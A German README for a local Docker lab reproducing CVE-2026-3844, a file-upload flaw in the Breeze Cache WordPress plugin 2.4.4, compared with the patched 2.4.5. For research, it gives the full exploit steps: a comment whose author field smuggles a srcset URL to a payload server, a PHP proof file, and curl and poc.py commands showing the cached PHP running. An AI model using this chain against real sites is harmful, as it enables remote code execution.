
Reines lokales Docker-Lab zur Reproduktion und zum Vergleich des Verhaltens von CVE-2026-3844 im WordPress-Breeze-Cache-Plugin.
Dieses Repository demonstriert das verwundbare Verhalten in Breeze Cache 2.4.4 und vergleicht es mit dem gepatchten Verhalten in Breeze Cache 2.4.5. Das Lab verwendet zwei isolierte WordPress-Dienste, einen verwundbaren und einen gepatchten, sowie einen lokalen Payload-Server innerhalb des Docker-Netzwerks.
Der Proof of Concept ist bewusst auf minimalen Schaden ausgelegt: Er verwendet keine Webshell, legt keinen Befehls-Parameter offen, startet keine Reverse Shell und erfordert kein Lesen von Dateien aus dem Container. Der Nachweis basiert auf beobachtbarem HTTP-Verhalten vom Host aus.
CVE-2026-3844 betrifft das Breeze-Cache-Plugin für WordPress bis einschließlich Version 2.4.4. Der verwundbare Codepfad steht im Zusammenhang mit der lokalen Gravatar-Caching-Funktion des Plugins, insbesondere mit dem Ablauf von fetch_gravatar_from_remote().
Wenn die Breeze-Option Host Files Locally - Gravatars aktiviert ist, können verwundbare Versionen eine angreiferkontrollierte Remote-Datei abrufen und in einem öffentlich über das Web zugänglichen Cache-Verzeichnis speichern. Handelt es sich bei der abgerufenen Datei um PHP, kann die Datei vom Webserver ausgeführt werden, wenn sie über HTTP angefordert wird.
Dieses Lab reproduziert dieses Verhalten lokal:
vuln-Dienst: WordPress + Breeze Cache 2.4.4patched-Dienst: WordPress + Breeze Cache 2.4.5payload-Dienst: lokaler Payload-Server, nur innerhalb von Docker erreichbarsrcset-ZeichenketteDas erwartete Ergebnis ist:
http://127.0.0.1:8081 / Breeze 2.4.4 → Proof-PHP wird zwischengespeichert und ausgeführthttp://127.0.0.1:8082 / Breeze 2.4.5 → Proof-PHP ist weder zwischengespeichert noch lesbar noch ausführbar.
├── docker-compose.yml
├── vuln/
│ └── Dockerfile
├── patched/
│ └── Dockerfile
├── scripts/
│ └── seed-wordpress.sh
├── payload/
│ └── manual-proof.php
│ └── proof-cve3844.php
├── poc/
│ └── poc.py
│ └── requirements.txt
├── .gitignore
├── README.md
Host machine
│
├── http://127.0.0.1:8081 -> vuln WordPress + Breeze 2.4.4
├── http://127.0.0.1:8082 -> patched WordPress + Breeze 2.4.5
└── http://127.0.0.1:9100 -> local payload server
Docker network
│
├── vuln -> WordPress vulnerable target
├── patched -> WordPress patched target
├── vuln_db -> MariaDB for vulnerable WordPress
├── patched_db -> MariaDB for patched WordPress
└── payload -> Python static HTTP server
Die WordPress-Container rufen den Payload über die Docker-Netzwerk-URL ab:
http://payload:9100/<payload-file>.php
Der Host verifiziert das Ergebnis über normale HTTP-Anfragen an die WordPress-Dienste.
2.4.42.4.5fetch_gravatar_from_remote()inc/class-breeze-cache-cronjobs.phpbreeze-store-gravatars-locally muss aktiviert seinDas verwundbare Verhalten ist nur erreichbar, wenn das lokale Gravatar-Caching aktiviert ist. Diese Option ist in typischen Installationen standardmäßig deaktiviert, dieses Lab aktiviert sie jedoch absichtlich, um den verwundbaren Codepfad zu reproduzieren.
In Breeze Cache 2.4.4 kann der Gravatar-Lokalisierungsablauf eine Remote-URL aus avatarbezogenem HTML extrahieren und diese URL an fetch_gravatar_from_remote() übergeben.
Die verwundbare Version weist keine ausreichende Validierung der Remote-Datei auf:
.php behaltenDie resultierende Datei wird gespeichert unter:
/wp-content/cache/breeze-extra/gravatars/
Wenn eine PHP-Datei dort gespeichert und anschließend über Apache/PHP angefordert wird, führt der Server sie aus.
In Breeze Cache 2.4.5 fügt der gepatchte Ablauf eine Validierung hinzu, die verhindert, dass dieser Lab-Payload als ausführbares PHP zwischengespeichert wird. In der lokalen Reproduktion funktioniert derselbe Auslöser gegen 2.4.4, legt den Proof-Marker gegen 2.4.5 jedoch nicht offen.
Dieses Lab betreibt den Payload-Server bewusst lokal, anstatt einen öffentlichen Payload-Host zu verwenden.
WordPress download_url() und die WordPress-HTTP-API lehnen standardmäßig einige private Docker-Hostnamen und nicht standardmäßige Ports ab. Öffentliche Exploit-Skripte verwenden häufig öffentliche HTTPS-Payload-URLs, die diese Einschränkung umgehen. Dieses Lab tut das nicht.
Um die Reproduktion vollständig lokal zu halten, installiert das Seed-Skript einen kleinen, rein lokalen MU-Plugin-Helfer, der:
payload und payload.local zulässt80 und 9100 zulässtDieser Helfer modifiziert nicht den Breeze-Quellcode. Sowohl der verwundbare als auch der gepatchte Dienst verwenden echte Breeze-Plugin-Versionen, die über WP-CLI installiert wurden.
Der Helfer dient ausschließlich dazu, das Docker-Lab deterministisch und rein lokal zu machen.
Dieses Repository ist ausschließlich für lokale Sicherheitsforschung und Demonstrationszwecke im Portfolio bestimmt.
Schutzvorkehrungen:
localhost und Docker-Netzwerkdienstencmd=-Webshell-VerhaltenDer PoC-Payload gibt harmlose PHP-Laufzeitinformationen aus:
CVE-2026-3844_LEAST_HARM_PHP_EXEC_PROOF_<nonce>
php_sapi=apache2handler
user=www-data
uid=33
pid=<process id>
host=<container hostname>
Dies belegt den Kontext der Codeausführung, ohne Shell-Befehle zu starten.
requestsPython-Abhängigkeit installieren:
python3 -m venv .venv
source .venv/bin/activate
pip install -r poc/requirements.txt
requirements.txt sollte Folgendes enthalten:
requests
Lab erstellen und starten:
docker compose down -v --remove-orphans
docker compose up -d --build
Dienststatus prüfen:
docker compose ps
Erwartete Dienste:
vuln healthy http://127.0.0.1:8081
patched healthy http://127.0.0.1:8082
payload running http://127.0.0.1:9100
vuln_db healthy
patched_db healthy
Seed-Logs prüfen:
docker compose logs --tail=120 vuln
docker compose logs --tail=120 patched
Erwartete Log-Zeilen:
[seed] WordPress ready at http://localhost:8081 with Breeze 2.4.4
[seed] WordPress ready at http://localhost:8082 with Breeze 2.4.5
WordPress-Installation prüfen:
docker compose exec vuln wp core is-installed --allow-root --path=/var/www/html
docker compose exec patched wp core is-installed --allow-root --path=/var/www/html
Breeze-Versionen prüfen:
docker compose exec vuln wp plugin get breeze --field=version --allow-root --path=/var/www/html
docker compose exec patched wp plugin get breeze --field=version --allow-root --path=/var/www/html
Erwartet:
2.4.4
2.4.5
Verwundbare Vorbedingung prüfen:
docker compose exec vuln wp option pluck breeze_advanced_settings breeze-store-gravatars-locally --allow-root --path=/var/www/html
docker compose exec patched wp option pluck breeze_advanced_settings breeze-store-gravatars-locally --allow-root --path=/var/www/html
Erwartet:
1
1
Prüfen, ob WordPress den lokalen Payload-Dienst abrufen kann:
docker compose exec vuln wp eval '
$r = download_url("http://payload:9100/proof-cve3844.php");
if (is_wp_error($r)) { var_dump($r->get_error_message()); exit; }
echo $r . PHP_EOL;
echo file_get_contents($r);
@unlink($r);
' --allow-root --path=/var/www/html
Falls proof-cve3844.php noch nicht existiert, erstelle eine beliebige temporäre Datei in payload/ oder führe den PoC einmal aus.
Gegen den verwundbaren Dienst ausführen:
python3 poc/poc.py --base-url http://127.0.0.1:8081
Erwartetes verwundbares Ergebnis:
[VULNERABLE-BEHAVIOR] unique PHP proof marker was publicly readable
[+] PHP proof appears to have executed
Beispielhafte Proof-Ausgabe:
CVE-2026-3844_LEAST_HARM_PHP_EXEC_PROOF_<nonce>
php_sapi=apache2handler
user=www-data
uid=33
pid=<pid>
host=<container hostname>
Gegen den gepatchten Dienst ausführen:
python3 poc/poc.py --base-url http://127.0.0.1:8082
Erwartetes gepatchtes Ergebnis:
[PATCHED-BEHAVIOR] unique PHP proof marker was not publicly readable
Eine Weiterleitung wie 301 Moved Permanently gilt nicht als Nachweis. Der PoC verlangt, dass der eindeutige Marker im HTTP-Antworttext erscheint.
Der PoC führt den folgenden rein lokalen Ablauf aus:
payload/.x srcset=http://payload:9100/<unique-payload>.php
/wp-content/cache/breeze-extra/gravatars/<unique-payload>.php
--keep-payload verwendet wird.Der PoC liest keine Dateien aus dem Zielcontainer heraus. Die Beweise werden über HTTP vom Host aus gesammelt.
Einen manuellen Payload erstellen:
cat > payload/manual-proof.php <<'PHP'
<?php
header('Content-Type: text/plain');
echo "CVE-2026-3844_MANUAL_PROOF\n";
echo "php_sapi=" . php_sapi_name() . "\n";
echo "user=" . get_current_user() . "\n";
echo "uid=" . (function_exists('posix_geteuid') ? posix_geteuid() : getmyuid()) . "\n";
echo "pid=" . getmypid() . "\n";
echo "host=" . gethostname() . "\n";
PHP
Bestätigen, dass der Payload-Server den PHP-Quellcode als statischen Text ausliefert:
curl -i http://127.0.0.1:9100/manual-proof.php
Einen Kommentar an den verwundbaren WordPress-Dienst senden:
curl -i -sS \
-X POST 'http://127.0.0.1:8081/wp-comments-post.php' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'comment_post_ID=1' \
--data-urlencode 'comment_parent=0' \
--data-urlencode 'author=x srcset=http://payload:9100/manual-proof.php' \
--data-urlencode '[email protected]' \
--data-urlencode 'url=' \
--data-urlencode 'comment=manual CVE-2026-3844 proof' \
--data-urlencode 'submit=Post Comment'
Breeze-Verarbeitung auslösen, indem der Beitrag über den konfigurierten Host der WordPress-Site-URL gerendert wird:
curl -sS 'http://localhost:8081/?p=1' >/tmp/cve3844-vuln-render.html
grep -i 'manual-proof.php' /tmp/cve3844-vuln-render.html
Erwarteter HTML-Nachweis:
alt='x srcset=http://localhost:8081/wp-content/cache/breeze-extra/gravatars/manual-proof.php Avatar'
Die zwischengespeicherte PHP-Datei anfordern:
curl -i 'http://localhost:8081/wp-content/cache/breeze-extra/gravatars/manual-proof.php'
Erwarteter verwundbarer Nachweis:
HTTP/1.1 200 OK
Content-Type: text/plain;charset=UTF-8
CVE-2026-3844_MANUAL_PROOF
php_sapi=apache2handler
user=www-data
uid=33
pid=<pid>
host=<container hostname>
Payload-Logs prüfen:
docker compose logs --tail=50 payload
Erwartet:
GET /manual-proof.php HTTP/1.1" 200
| Ziel | Breeze-Version | Erwartetes Ergebnis |
|---|---|---|
http://127.0.0.1:8081 | 2.4.4 | PHP-Proof wird abgerufen, zwischengespeichert und ausgeführt |
http://127.0.0.1:8082 | 2.4.5 | PHP-Proof-Marker wird nicht offengelegt |
Container, Netzwerke und Volumes stoppen und entfernen:
docker compose down -v --remove-orphans
Erzeugte Payload-Dateien bei Bedarf entfernen:
rm -f payload/proof-cve3844-*.php payload/manual-proof*.php
NVD — CVE-2026-3844:
https://nvd.nist.gov/vuln/detail/CVE-2026-3844
Patchstack Database — WordPress Breeze Cache Plugin <= 2.4.4 Unauthenticated Arbitrary File Upload via fetch_gravatar_from_remote:
https://patchstack.com/database/vulnerability/wordpress-breeze-cache-plugin-2-4-4-unauthenticated-arbitrary-file-upload-via-fetch-gravatar-from-remote-vulnerability
Wordfence Threat Intelligence — Breeze Cache <= 2.4.4 Unauthenticated Arbitrary File Upload:
https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/breeze/breeze-cache-244-unauthenticated-arbitrary-file-upload-via-fetch-gravatar-from-remote
Wordfence Blog — Active exploitation coverage for Breeze Cache vulnerability:
https://www.wordfence.com/blog/2026/05/attackers-actively-exploiting-critical-vulnerability-in-breeze-cache-plugin/
Breeze Cache plugin page:
https://wordpress.org/plugins/breeze/
WordPress-Plugin-Downloads, die in diesem Lab verwendet werden:
WordPress Plugin Trac — Breeze source reference, class-breeze-cache-cronjobs.php:
https://plugins.trac.wordpress.org/browser/breeze/tags/2.4.4/inc/class-breeze-cache-cronjobs.php
Dieses Projekt dient ausschließlich der autorisierten lokalen Sicherheitsforschung. Führen Sie den PoC nicht gegen Systeme aus, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Genehmigung zum Testen haben.
WordPress Plugin Trac — Breeze patched source reference, class-breeze-cache-cronjobs.php:
https://plugins.trac.wordpress.org/browser/breeze/tags/2.4.5/inc/class-breeze-cache-cronjobs.php